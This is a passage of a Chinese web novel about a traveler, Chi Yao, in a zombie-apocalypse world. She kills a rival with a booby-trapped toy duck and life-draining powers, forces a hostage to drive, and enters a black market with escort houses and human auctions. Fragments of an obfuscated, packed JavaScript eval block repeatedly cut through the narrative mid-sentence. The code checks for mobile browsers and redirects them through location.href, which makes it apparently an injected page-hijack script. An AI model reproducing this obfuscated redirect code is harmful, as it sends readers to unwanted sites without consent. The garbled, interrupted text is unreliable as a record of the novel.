l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671346|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”阿霓冷哼一声。 “你有什么依据?” 池遥没想到阿霓会这么想。 “你刚到隐山的时候,我一眼就看出来了,你身上有北方基地的人施加的能力效果,果然,你是他们的人。” 能力效果? 来到这个世界后最初的记忆还很清晰,池遥回想起自己前往隐山这一路,她似乎只和林北辰有过接触,而林北辰的能力和空气有关,阿霓所说的大概和林北辰无关。 除此之外,还有什么...... 她想到了。 车辆来到隐山所在的山脚下,池遥下车时,林北辰的司机抬手护着她的额头,掌心无意间蹭过她的脑门。 而来到隐山,与博士和阿霓见面时,阿霓走过来,伸手碰了一下她的额头。 是林北辰的司机为她施加了能力!可惜现在这人已经被林北辰杀死,池遥无从得知他施加在自己身上的能力究竟是什么作用。 池遥很肯定阿霓的能力者身份,只是一直以来都没见过她使用能力。 难不成,她的能力和攻击完全无关? 而且,能够看出自己身上被别人施加了能力效果,难不成就是阿霓的能力? 一瞬间,阿霓迅速反应过来,举起手木仓,对准了池遥的方向,而池遥则立刻握紧早就准备好的刀。 果然,遇到未知变数,阿霓第一时间使用的是人人都能使用的热武器,而不是能力,显然,她的能力并不强。 但在心悦的描述中,尽管阿霓的能力从未出现,但仅凭迅疾有力的身手,阿霓就极难对付! 连续几声枪响过去,池遥只中了一枪,被她迅速治愈,完全没有产生任何伤害。 “不愧是治疗能力者,真难对付。”阿霓再次扣动扳机,然而,预想中的子弹却没有发射出来,只剩下了空腔的炸响。 她手里的枪没子弹了! 阿霓身上显然有子弹储备,但此时二人对峙,她一旦停下来换子弹,必然会迎来池遥的反击,权衡了一秒,她干脆地抛下枪,从脖颈处拿出一把短匕首。 她穿着夜行衣,此时池遥才看到,她的脖颈上同样戴着一条空间吊坠。 比起池遥谨慎的作战风格,阿霓行动相当激进,速度极快地对池遥展开突袭,池遥果然同阿霓预想中的一样,如同受惊的松鼠,被打得四处乱窜。 然而,没退几次,再次后退的时候,池遥的上衣口袋中突然掉出什么东西,阿霓看不清那究竟是什么,只觉得体积极小。 但察觉到自己掉了东西,反而是池遥露出了大惊失色的表情,她不顾阿霓的攻击,作势要俯身去捡,反而激起了阿霓的警惕心。 那究竟是什么?难不成是池遥的秘密武器? 她立刻放弃攻击,转而扑向地上的掉落物,不能让池遥捡到那个东西! 手指接触到地上的东西时,突然,一阵猛烈的爆炸气流席卷了半边身体! 小范围的爆炸把她炸得遍体鳞伤,刚刚做完假动作后迅速后撤的池遥反而躲过一劫。 阿霓后知后觉地看向手心里紧握的东西,刚才就是它发生了爆炸。 是一枚玩具橡胶小黄鸭。 没等她反应过来,一行熟悉的文字涌入脑海。 【爆炸小黄鸭】:外表是普通橡胶小黄鸭,脱手三秒后立刻触发爆炸,爆炸半径一米,威力普通。可回收重复使用。(注:危险道具,请勿当做普通玩具玩耍) 93. 丧尸马戏团3 做完一连串假动作,看到身陷爆炸旋涡中的阿霓,池遥总算松了口气。 在刚刚的打斗中,池遥发现,尽管霍云初已经带领她进行了散打训练,但时间太短,真的对上了实力强大的能力者敌人,根本无暇去调动学过的招式,只能凭本能行动。 与池遥不同,阿霓的进攻显然要猛烈得多,但在这同时,她的每一击都十分精准,池遥每一次闪避都无法完全避开,她绞尽脑汁才想出拿小黄鸭当诱饵。 只是,阿霓毕竟也是一个有道具的能力者,交出小黄鸭的同时,池遥也要做好这个道具被对方夺走的准备。 “你是旅人!” 握紧手中的小黄鸭,阿霓死死盯着池遥,眼神很亮。 “是的。” 池遥攥紧手中的刀柄。 同为旅人并不代表两人站在同一阵营,阿霓大概也是如此认为,只停顿了几秒,再次朝她攻来! 无论从哪一方面,阿霓都完全不是个好对付的对手。况且,池遥还没弄清楚她的能力,幸好阿霓也只知道池遥能够治疗,并没有对她过多防备,一心想早点解决池遥。 但池遥呢? 吸取生机的能力在她掌心蠢蠢欲动,这一次,池遥却有些犹豫。 阿霓还没说出她其他伙伴的去向,还不能杀掉对方。 这么想着,池遥伸手治愈身上各处的伤口,偏过身子,躲过了阿霓的近身攻击。 尽管自己能够不停治愈自己,但她的体力有限,和阿霓的对战还是要速战速决。 池遥深吸一口气,调动大脑,拼命思考。 同样,看似占据上风的阿霓也在苦恼。 对面的人打斗起来明显技巧不足,但闪避灵活,一旦伤势严重一点就立刻治愈伤口,她的能力尽管无法攻击,但源源不断的治愈让阿霓完全没有成就感,反而越打越焦灼。 对面的人就像是一滩水,毫无攻击性,可无论攻击何处,一旦武器移位,就会立刻复原。 难道,这个人的治愈能力是无穷无尽的吗? 阿霓皱紧了眉头。 看来,除非一击毙命,否则,根本没办法破局。 她的攻击愈发猛烈,似乎认为池遥无力反击,所有的注意力都放在了池遥身上,全然不顾防守,在这种攻击下,池遥就算有心反击,也找不到机会。 池遥身上已经被鲜血浸透,但却没几道明显的伤口,阿霓愈发急迫,盯准了对面人脆弱的脖颈,却突然听到对方的一声极轻的笑声。 池遥似乎在嗤笑什么。 “关振,”池遥的声音有些讥讽,又仿佛是在好心提醒,“快逃走了哦!” 关振! 阿霓本能要转头,但立刻意识到池遥的话只是幌子,然而,仅仅片刻之间的走神却让池遥抓住机会,她手中的刀狠狠捅向阿霓的身体。 阿霓连忙侧身避开,但这一闪避,反而让她与池遥的脖颈缩短了距离。 有机会! 手中的匕首猛地朝对方的脖颈割去,转瞬之间触及皮肤,却硬生生停下了动作。 阿霓自己的脖颈上,同样传来了冰冷的触感,微微刺痛,似乎已经出血了。 不知何时,池遥手里的刀子自下而上挑起,刀尖正抵在阿霓的喉咙边。 只要阿霓再向前一点,抵在脖颈的刀子就会刺进喉咙里。 此时,二人手中的刀都精准抵住了对方的喉咙,没人轻举妄动,也没人主动后退,一时间,局势僵住了。 池遥放轻了呼吸,浑身绷紧。 刚刚使用了太多次治愈能力,现在有些体力不支,但好歹没有外伤。而阿霓腹部则被她捅了一个大洞,如果两人以这种姿势僵持下去,最后获胜的无疑会是池遥。 没关系的,她已经赢了。 果然,僵持了不一会儿,阿霓忽然抬起另一只手,握住了池遥执刀的手。 池遥咬牙抑制住想要发动能力抽取生机的想法。 “我们互相放对方一马如何?”阿霓侧过头看了一眼,见关振坐在原地,语气软化了一点,“都是从其他世界过来的旅人,外乡人何苦为难外乡人,我们都放下武器,好好谈一谈,怎么样?” 她先放下了握着匕首的手,另一只手按着池遥的手,慢慢将池遥手中的刀按压下去,似乎担心池遥出尔反尔,紧紧抓着池遥的手。 “可以。” 池遥点点头。 “你来这里是做什么的?”阿霓问。 直到现在,她才想起问池遥的来意。 池遥迅速调动思维,在阿霓的视角中,她现在是北方基地的人,如果北方基地的人追踪她来到这儿,一定是因为—— “来收缴你手中的道具。”池遥模仿起林北辰的副官全隐山广播的语气,“别装了,阿霓,我们这段时间已经排查了所有隐山的人口,道具只有可能在你手里。” “的确,维持隐山运行的道具的确在我手里。”阿霓叹了口气,咬掉握刀那只手的手套,她的中指戴着一枚宝石戒指,宝石的质地和形状与空间吊坠相似。 “这是异空间戒指,可以将划定范围变成隐匿在现实中的独立空间。隐山就是这么隐形的。” 她用大拇指和食指夹着匕首刀柄,伸直剩余的三根手指,示意池遥自己来取。 池遥的目光在她手指上的戒指上扫视一周,迟迟没有伸出手。 “我信不过你的话。”良久,她开口,“你的手上还拿着匕首,如果我伸手过去,你偷袭我怎么办?我的另一只手可还被你握着。” 阿霓握刀的手一顿。 “我不会丢掉刀的,你手里的刀可还没丢。” 说完这句话,阿霓看了一眼池遥的脸,池遥还是一副冷酷严肃的模样,多亏了林北辰,池遥虽然很讨厌这个人,但学他的表情真的很有用。 “你到底为什么信不过我的话啊?”僵持了半天,阿霓不由地有点崩溃,“你不是想要道具吗?这道具一直在我手里。” “万一你知道我们要来,提前掉包了呢?” 池遥漠然地瞪她一眼。心想时机差不多了,才开口。 “我们追踪你过来的时候,你中途停了一次车,和另一辆车碰面,你们做了什么?” 听了池遥的问题,阿霓不可置信地瞪大了眼睛,她完全想不到池遥为何会把这两件完全不相关的事情联系起来。 池遥当然知道,阿霓中途是把车上的同伴们转移到了另一辆车上,但她要让阿霓主动交代出来。 “那和道具完全无关。” “听不懂我的话吗?你们做了什么?” 阿霓沉默了一会儿,终于叹了口气。 “博士失踪之后,我在黑市挂了博士的寻人启事,托黑市的工作人员帮我注意,但这是收费项目。如果我不能定时支付晶核,就需要定期向黑市的人口交易市场提供货物才行。” “我昨天经过一个小型基地,抓了一些幸存者,交接是为了把我车上的幸存者转移到黑市。” 和之前心悦说的差别不大。 池遥点点头。 “那么,假如你说的是真的,现在你抓的人已经到黑市了吗?” “应该已经到了。”阿霓点点头。 “好,把黑市的地址告诉我,我让我的同事确认。” “饶城影视乐园,末日前是饶城最有名的游乐场,现在整个游乐场都变成了黑市的范围。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676379|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要的情报都有了,池遥这才伸出手,去碰阿霓手上的戒指。 “等等。” 然而,就在池遥马上将戒指从阿霓的手指上拔掉时,阿霓突然出声。 “池遥,你也是旅人,我不相信你会在这个世界呆一辈子,就算你现在是北方基地的人,以后总会离开的。” 池遥没说话,静静等待她的下文。 “我不清楚你来这个世界多久了,但你一定已经发现了。这个世界的危险系数非常高,丧尸进化的速度很快,迟早有一天会把这个世界的人类消灭殆尽。” “像丧尸围城这种危险的世界,如果像你这样战斗力不强的旅人进来,没有其他人的帮助,恐怕无法独自存活,我有一个建议,你一定要听一听。” 的确,池遥心里认可了她的话,如果不是霍云初,她没办法在这个世界存活这么久。 “没有任何旅人愿意来到这种高危险度,并且危险系数还在不停增长的世界,当一个世界彻底没有能力者时,所有去往这个世界的景点就会彻底关停或者改变目的地,这个小世界也会与其他世界断联,彻底消失在大世界中。与其让这种小世界继续残害旅人,为什么不能反过来加速末日的发展,加剧这个世界毁灭呢?” “我所在的危机测定组是专门去往每个世界,测定不同世界末日危险程度的组织。这么多年,我走过了很多世界,见证了很多种末日形态。如果危险的世界全部消失,旅人能够去到的不就全都是安全的世界了吗?” 池遥立刻明白了阿霓的意思。 她逻辑的出发点是没错,为了让旅人过得更好,所以消灭掉危险的世界,只留下相对安全的世界。可是,整个大世界范围内,所有小世界都在遭受末日的侵蚀,哪里会有绝对安全的世界存在? 更何况,阿霓只考虑到了旅人的安危,而池遥听到阿霓的话后,第一时间想到的却是霍云初等人。 霍云初是丧尸,无法穿越到其他世界,如果这个世界真的消失,她未来不是再也没办法见到霍云初了吗? 而且,如果加剧末日扩张,小世界的原住民人类们又该怎么生活呢? “没必要谈这些。”池遥摇摇头,毫不犹豫地拿掉阿霓的戒指。 “我们道不同不相为谋,但同为旅人,你把道具交给了我,我可以放你一命。” 她来到此处只想要知道同伴们的去向,阿霓已经告诉她了,不仅如此,还拿到了阿霓的戒指。 阿霓是个极危险的存在,但就算不杀阿霓,她们目标不同,未来走的路不同,不会再有见面的机会。 池遥收起阿霓的戒指,却发现阿霓仍旧抓着她的手不放。 “你把刀放下,我才能相信你不会动手。” 阿霓的腹部受了重伤,现在站立已经有些困难了,池遥就松手,把刀丢在了地面上。 然而,阿霓握着她的手,仍旧没有放开。 “池遥,你这个人还是太天真了啊。” 伴随一声轻柔的叹息,阿霓猛地握紧池遥的手腕,将池遥扯到她面前,另一只手掐紧了池遥的脖子。 “我怎么会放走一个旅人呢!” 很快,池遥的脖子上就被掐出青紫的痕迹。 然而,眨眼间,阿霓突然放开了手,滑落在地,再也没有了气息。 “天真的到底是谁啊?” 池遥叹了口气,伸出手,刚刚吸取掉阿霓的生命,她的能力再度充裕,转瞬间,喉咙处的皮肤再度重归白皙。 “好了。” 她收走阿霓尸体上的空间吊坠,走到失血过多昏迷的关振面前,拖着研究员的身体,一步步离开了工厂。 “该去黑市了。” 94. 丧尸马戏团4 再度恢复意识时,关振才发现自己坐在工厂外的草地上,身上的两处枪伤已经不流血了,稍微一动就烧灼般疼痛,而且不知为何,浑身软绵绵的,提不上一点力气,虚弱得很。 阿霓不知去哪儿了,面前只剩下了池遥一个人,池遥举着之前还在阿霓手里的枪,黑洞洞的枪口对准了他,关振顿时吓出了一身冷汗,想要逃跑,却发现自己连起身躲避的力气都没有了。 “我提问,你只能摇头或点头,如果敢骗我,子弹可不会听你求情。” 池遥的语气极为冷漠,与他印象中的人截然不同,反倒有些像北方基地派来侵占隐山的人。 关振刚想回答,却见池遥挥挥自己手里的木仓,立刻闭紧了嘴。 “饶城影视乐园,知道在什么位置吗?” 关振猛点头。 “会开车吗?” 关振继续点头。 “从这里去饶城影视乐园,知道怎么走吗?” 关振犹豫片刻,狠狠点头。 “看来暂时还能留你一命。” 问题问完,池遥一把拎起关振的衣领,将他丢进一旁的商务车驾驶座里,自己上了副驾驶座。 如果阿霓的话属实,同伴们现在已经到了黑市,她和心悦必须尽快赶到黑市才行。 但自己并不知道饶城的方向,而且她和心悦已经一夜没睡了,池遥的精神头还算好,心悦昨天经历了那么多,一直强打精神,又因为担心池遥的开车技术不敢入睡,现在换一个人开车,好歹能让心悦休息一会儿。 上了车,关振才从反光镜中看到心悦,他很快就反应过来,阿霓猜错了,池遥和北方基地无关,是绑架他的小型基地的人。 可是,就算他已经知道,又有什么用呢。 “开车吧。”池遥稍微调节了一下座椅靠背,坐直了一点,目光冷冷盯着身旁的关振。 关振咬紧牙关,浑身没什么力气,但池遥在旁边虎视眈眈,他就忽然觉得踩刹车和操作方向盘的力气还是有的,听到池遥的声音,他低头在脚下找了半天,又确认了一遍仪表盘,才启动了车子。 车子调头,朝着饶城的方向驶去。 关振的开车技术似乎也不是很熟练,车子刚开出不到一百米,就摇摇晃晃地偏离了柏油马路,池遥啧一声,举起木仓,再次对准了身旁的人。 “别,别开木仓啊,我,我只开过博士的轿车,还是第一次开这么大的车,给我点时间......” 被池遥一吓,关振浑身一颤,吞吞吐吐道。 池遥这才放下手,将手里造型精巧的枪递给后排的心悦,教会她用法。 关振刚松一口气,就发现池遥不知从哪里又掏出来一把看起来威力更大的枪,她带走了阿霓的空间吊坠,里面有不少重型武器。 这下,他再也不敢打任何多余的主意,只咬着牙一门心思开车。 中途,心悦在后排睡了两个小时,她醒来后,池遥命令关振停车,再次碰了一下关振的手。 她在将关振的伤彻底治好的同时,重新抽取了他身上一部分生机,让他浑身无力,无法逃跑,此时感受到关振的身体没有反抗之力,才放心和心悦换了座位,躺在了后排座椅上,勉强睡了一个多小时。 在池遥的命令下,车子全速驾驶,飞驰过荒凉的街区。在关振口中需要七八个小时的路程硬生生缩减到五六个小时,车子到饶城影视乐园的时候,正值下午。 末日前,饶城影视乐园是H国北方最大的游乐场,占地面积将近一百公顷,饶城甚至专门开辟了一条通往影视乐园的马路,远远地,就看到了影视乐园巨大的牌匾。 “我一个人下去,你们在车里等着。” 池遥从阿霓的空间吊坠中找出一副手铐,一边拴在车顶把手上,另一边拷住关振的左手手腕,给二人留下了足够的食物和水,才走到车门前。 “这些食物你们两个人平分,应该够吃三天。”她嘱咐心悦,“黑市里面不知道是什么情况,短时间我应该回不来。如果过了三天时间,我还没回来,你们就先开车离开,回白眉湖庄园等我。” 心悦几次欲言又止,她很想跟随池遥一起去黑市,可又十分清楚,自己毫无能力,去了只会成为她的拖累。 就在这时,已经下车的池遥从外侧打开副驾驶座车门,借着身体的遮挡,将一个小小的瓶子塞进心悦掌心。 这是一个透明的小分装瓶,瓶内的液体让心悦有些不安。 “这是什么?” “霍云初留给我的血。”池遥迟疑了一会儿,说,“这东西不知道方不方便带出去,你先帮我保管,等我回来记得还给我。” 理智上,池遥不希望任何人使用霍云初的血,可如果心悦真的出了意外,她也该拥有一个选择的机会。 交代完一切,池遥下了车,朝着乐园入口走去。 作为收费游乐场,影视乐园外围被又高又密的铁栅栏围满,唯一一个出入口就是正前方的大门,越到大门口,周围的人越多,池遥就这样跟随着周边的人流进了大门。 影视乐园的两扇大门此时完全打开,从外侧直通大门的马路上开来的车辆可以直接进入园区内,有不少车是池遥不认识的品牌,但只看外型就知道,车里的人非富即贵。 她这是误入了什么地方啊。 乐园内专门区分出了车行区域和人行道,车子进入大门后会沿着围栏内的车行道绕路前往乐园内部,而行人则要穿过正对大门的一条步行街,才能来到乐园内部。 步行街很宽,两侧都是童话风的小店,有不少店面的玻璃早就被打碎,露出凄惨的内景。而代替它们的,则是支着小摊站在步行街两侧的幸存者们,正在为自己的商品大声叫买。 “烤变异兽肉串,一个一阶晶核一串!” “不同口味袋装调料粉,一个一阶晶核五包!” “变异兽皮革做的护膝,一个二阶晶核一套!” “维C泡腾片,一个一阶晶核一片!” 池遥放缓脚步,一路上观察起路边的小摊,她发现,贩卖变异兽制品的摊贩最多,价格也最便宜,其次就是常见的生活用品,以及一些基础物资,囊括了池遥在末日后能想到的大部分商品。 但池遥转了一圈,也没看到有卖新鲜蔬菜水果的,那个卖泡腾片的小摊是整条步行街上最火爆的,但凡是稍微有些闲钱的幸存者都去他那里买了一片泡腾片。 步行街尽头,一个抱着孩子的老人佝偻在小凳子上,面前摆着一罐彩色锡纸包装的水果糖,就是末日降临前,许多饭店门口免费送的糖果,只有四五颗。 “这糖怎么卖?” 池遥走上前,目光落在老人身上,在她开口时,老人的反应十分迟钝,她怀里抱着的孩子面黄肌瘦,小脸蜡黄,紧闭着眼毫无反应。 “一个一阶晶石一个。” 池遥递出一颗二阶晶石。 “这些我都要了,罐子也送我吧。” 说完,她不看面露惊讶的老人,拿走罐子,转身离开。 没走几步,池遥就忍不住转过头,朝身后看去。 很奇怪,自从进入乐园内,她就感受到了一束满是杀意的目光,如影随形地跟在身后。 这种隐约被人从暗处窥视的感觉让池遥整个人寒毛直立,有种作为猎物被猛兽盯上的直觉,强烈的杀意让她难以招架,隐隐意识到对方似乎是一个她完全无法抗衡的存在。 可是,究竟是什么人盯上了她? 目光掠过街道两侧叫卖的小贩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688313|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,街道上的人流,池遥扫视一圈,仍旧没有找到暗处盯着她的人。 算了,如果对方执意要杀她,迟早会现身的。 她此时最大的目标就是救出自己的同伴。 不再想这些,努力忽视从背后传来的杀意,池遥加快脚步,穿过步行街,来到了乐园内部。 “小妹妹,想进来体验一下吗?” 一个身形瘦高,白白净净,只穿一套白衬衫的青年拦在她的面前,见池遥没有退却,又凑近了些,拉住池遥的手,五根手指暧昧地与她的指尖交叠。 池遥朝着他走出来的方向看去。 在青年背后,是一个三层小楼,末日前似乎是游乐园员工办公区,而现在门口则支了一块小黑板,上面写着一行字:解压客栈。 “我很便宜的,”男人俯下身,嘴唇贴着池遥的耳朵,语气甜腻,“宝贝,我只要一个二阶晶核就好,黑市拍卖会还有两个小时才开始呢,在这之前,你有足够的时间随便玩弄我呀。” 池遥被他油得猛然后退一步,甩开他的手,目光扫过客栈附近,果然,小楼大门附近,站着不少穿着暴露的男男女女,男人倒还好,穿着质地轻薄的衬衫只会有些冷,女人们却尽可能将四肢和皮肤尽可能露出来,这些在客栈附近徘徊的人一见到落单的人,就立刻像看到猎物的豺狼,急切地扑了过来。 除了缠着她的男人,周围至少还有三个男人,都在观察着她的动作。 这解压客栈,解的是哪门子的压啊? 这时,池遥才注意到,周围来到影视乐园的人大多是几人结伴,像她一样独自一人的反而是少数,刚才一路上没注意,实际上她在这群人里相当显眼。 毕竟她年纪小,看起来人畜无害,穿着打扮又很整洁,看起来就像一只待宰的羔羊。 这么想着,池遥又抬起头,看向缠着自己的男人。 这个男人乍一看还像那么回事,但池遥这段时间见过了太多顶级帅哥,眼前的人和霍云初,沈观宴,韩厢月等人完全没有任何可比性。 而周围那几个偷偷打量池遥的男人,长相也只能说凑合,完全不惊艳。 “你们店里还有比你更好看的人吗?”池遥问身边被她甩开的人。 “宝贝眼光好高啊,”男人没有因此生气,“我们去店里看看?说不定有你喜欢的类型。” 池遥点点头,跟在男人身后,走进了小楼内。 进入室内,总算觉得浑身一轻,刚刚一直被人窥视的感觉,消失了。 见池遥进去了,还在外面的几个男人立刻转身,也想跟着回到店里,然而,走在最后一个的男人却忽然被叫住。 “抱歉,你们这是什么店啊?” 男人转过身,惊骇地发现,不知何时,在他的身后,出现了一个极为养眼的青年。 青年看起来年纪介于少年与青年之间,五官如同中世纪壁画一般精美绝伦,让人移不开眼,与这张美好到摄人心魄的容颜相配的,是他洋溢着笑意的目光,与浑身亲切纯良的气质,让人不由自主地就想要相信他。 他就像是一束光,又仿佛是降临世间的神明,浑身上下每一处都完美无瑕,都不属于这个世界。 被青年叫住的男人震撼得说不出话,只能伸手指了指店门口的小黑板,过了好半天才磕磕绊绊开口:“解压客栈,就是,咳,一些,咳,的场所。” 对面的青年看起来似乎不像是懂这种事的人,他也不敢说得太清楚,嘴上吞吞吐吐,全靠手势动作。 “哎呀,刚刚被你们拉走的那位小姐,难不成很好色吗?” 青年一只手托起白瓷般的脸庞,满含笑意的眸子凝视着紧闭的大门。某个瞬间,目光陡然变得晦暗,很快,笑意又如同清水一般漫上眼底。 95. 丧尸马戏团5 “啊呀,小妹妹,你喜欢什么类型的呀?”解压客栈店主是一个烫大波浪卷发,举止婀娜的男人,近一米九的身高还踩着一双恨天高,走起路来身姿摇曳,池遥要仰着头才能与他对视。 池遥脑海中浮现出街道上成群结队的人们,几乎每一支队伍里,都有一个看起来十分强悍的男性。 “我喜欢有反差萌的,比如看起来是猛男,实际言听计从的。” 她思考几秒后,开口道。 “确实,你们这个年纪的小女孩确实喜欢这个类型的。”店主表示理解,没一会儿,就叫来了一个男人。 这个男人身形高而壮,几乎没有赘肉,身上的肌肉形状十分好看,长着一张年轻而纯良的面孔。 “姐姐。” 然而,当他开口时,却是一副撒娇的语气。 池遥被震撼得后退一步,立刻扭头看向店主。 “别看他块头大,他才十八岁,之前一直是体育生,会叫姐姐,服务意识好,言听计从,除了年纪小一点,其他都满足你的要求。” 店主解释道。 “只不过吧,这种店里的小伙子,肯定和外头拉客的男人档次不一样,你要是想要他的话,两小时之内一块二阶晶核,之后每增加一个小时加收一块二阶晶核。” 看来在外面拉客的人应该是少于二阶晶核的价码,拉住她的那个男人看她长得好骗,擅自抬价了。 “可以。”池遥点点头,她在白眉镇杀了太多丧尸,攒了一大堆晶核,立刻掏出一枚二阶晶核。 “姐姐,我的房间在顶层,我们上去吧。” 在池遥付钱的过程中,十八岁体育生一直眼巴巴地看着她,等池遥付过钱,立刻蹭到她的手臂旁,微微弯下腰,去够池遥的手。 池遥任由他拉着手,沿着走廊尽头的楼梯走上了二楼,穿过走廊时,她明显听到了不少伤风败俗的声音,一楼的楼梯对面,还有一扇不显眼的小门。 “一楼的房间都是空房间,那些在外面拉客的人不是店里的员工,如果拉到生意,就去一楼的空房间,店主会按时长收他们房费。” 为了不着痕迹地观察小楼内部构造,池遥走得很慢,为了适应她的步幅,十八岁体育生抱着她的手臂,整个人蹭在她的耳边,悄声告诉她店里的事。 “姐姐你选择我是明智的,外面那些人不知道身上有多脏,一楼的房间也不知道有多少人用过,我很干净的。” 池遥如果信他的话,就真是有鬼了。 二楼三楼走廊与一楼的构造相同,体育生的房间在三楼楼梯旁,他打开房门,屋内只有一张大床,一张桌子,床边还有一个浴缸,空间不大,却十分整洁。 “姐姐,你想怎么玩我?” 一进房间,体育生立刻跪在池遥脚边。 池遥被突如其来的情况弄得宕机几秒,在阿霓的空间里翻找半天,找出一套纯黑色斗篷丢到他脑袋上,又找到一套男式冲锋衣套装丢过去,她注意到了,街上很多看起来很有实力的男人都穿着类似的衣服。 “换上。” 怕对方不听话,池遥刻意放低了声音。 结果,这个人果然是店长严选的言听计从,立刻将池遥给的衣服放在床上,站在池遥面前,毫无羞耻心地褪下身上的衣物。 池遥很想回避一下,可这不大的小房间无处可去,只能绷紧脸,装作云淡风轻地看着他。 然而,当对方穿池遥给的裤子时,池遥还是隐约看到了什么不该出现的东西。 “姐姐。”体育生显然也注意到了她的目光,将一个巴掌大的小遥控器交到池遥手里。 池遥已经不知道该做出什么表情了,一脸生无可恋地迅速将遥控器收进外套口袋里,看着对面的人穿好冲锋衣,又披上斗篷,挡住半张脸,高大魁梧的身形与棱角分明的下巴很有欺骗性。 “你叫什么名字?”池遥问他。 “张扬。” “好的,从现在开始,你的名字叫做队长。”池遥命令道,“我们一会儿出去,你要负责扮演我小队队长的角色,我们是来黑市见世面的,一会儿黑市开放了,我们一起进去。” “我们要出去吗?”听了池遥的话,张扬有些搞不清楚。 池遥盯着他的眼睛,从衣兜拿出遥控器,冲他晃了晃:“我喜欢在外面用这个。” 张扬的脸腾一下红了。 “姐姐,我会听话。” “好的,那我们下楼。”见沟通顺利,池遥立刻打开门,率先走了出去,刚刚张扬穿衣服时,她也把外套换成了一件黑色长风衣,这是从阿霓的空间里顺的,阿霓穿到小腿的风衣外套,她穿起来直接到脚踝,但这件衣服让她看起来不再显眼了。 来到一楼,池遥走到楼梯后的小门旁,打开小门:“走吧。” “我们不走正门吗?”张扬不解。 “你想让店主知道我们在外面干什么吗?”池遥瞥他一眼。 对方红着脸,不说话了。 果然,身边多了一个张扬,落在池遥身上的视线变少了,只是那道存在感强烈的视线仍旧存在。 “带我逛逛这附近,这周边都有什么。” 池遥轻声道。 “好。” 到了室外,张扬还想拉池遥的手,被池遥毫不留情地踹了一脚,立刻敬业起来,昂首挺胸,还真有几分威慑感。 “我借给你五枚三阶晶核,一会儿如果我说喜欢什么东西,你就主动给我买下来,如果晶核不够,就命令我买下来。”池遥翻出晶核偷偷递给他,“如果卷钱跑路的话,我有一万种法子折磨你,你的遥控器还在我手上。” “姐姐你放心。”张扬领着她,走进第一个主题园区。 “进来园区之后,会穿过自由贩卖区,那里是住在附近的人自发买卖的地方,虽然标价写着晶核,但是没有晶核的话也可以以物易物。” 原来还可以以物易物,怪不得自己用二阶晶核买糖的时候,老人的表情那样震惊。 “第一个园区是情报区,这里可以用情报换取晶核,或者用晶核获取情报。也可以在这里挂寻人启事,委托,悬赏,但三天后就会被撤掉,如果要长期保留,就要付晶核或者为黑市提供货物,以七天一个周期,每保留七天要付一个三阶晶核。” 怪不得阿霓选择了第二个选项,收取的晶核的确很多。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702547|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 池遥清点了一下自己的晶核储备,她的晶核多得数不完,三阶晶核对她而言完全支付得起。 更何况,她手里还有一枚四阶晶核。 “你去把这个贴上。”池遥把曲卓的寻人启事递给张扬,“先付一个月的费用。” 张扬接过寻人启事,来到了公共张贴区,看了一圈,反而没有任何动作,又走了回来。 “姐姐,这张寻人启事已经有人贴了。” 听到这话,池遥愣住了。 果然,跟着张扬来到自由张贴区,就看到正中间最显眼的位置,正贴着自己的寻人启事。 怎么会这样? 来到这个世界之后,她的确拿着曲卓的寻人启事问了不少人,可从来没有把自己的寻人启事交出去过,这里怎么会出现自己的东西? 来到情报区,二人交了一枚三阶晶石,获得了一个提问机会。 “我看到张贴区贴着这张寻人启事,想知道贴寻人启事的是什么人。”张扬充当池遥的嘴替。 “是这张啊,你们有线索吗?”情报区的老板看了一眼他们手上的寻人启事,问。 二人齐齐摇头。 “那我只能告诉你,贴这张寻人启事的是个脾气很差的孩子,他是半个月前来的,交了两个月的费用。” “孩子?”池遥记忆中完全没有这个人。 “看起来也就十六七岁吧,反正年纪不大。”老板补充道。 半个月前,那个时候池遥等人刚到白眉镇落脚,而这个时候,有个人带着曲卓的寻人启事,主动帮她寻找好朋友的踪迹。 既然有自己的寻人启事,那么对方一定和自己有接触,可她完全想不起有这个人。 既然已经有人替她贴了寻人启事,池遥和张扬在情报区转了一圈,就离开了。 “再往前走,是一个巨大的马戏团帐篷,里面空间非常大,一共有两层,那里就是黑市。” 二人走出情报区,远远地,就看到了马戏团帐篷的屋顶。 张扬放轻声音,介绍道。 “黑市每周只开放一天,今天正好开放。一会儿下午四点,会准时开启拍卖,你可以在黑市的拍卖会上看到所有意想不到的东西,晶核,武器,高科技机器,甚至是人类,能力者,丧尸,全部都可以成为拍卖品。” 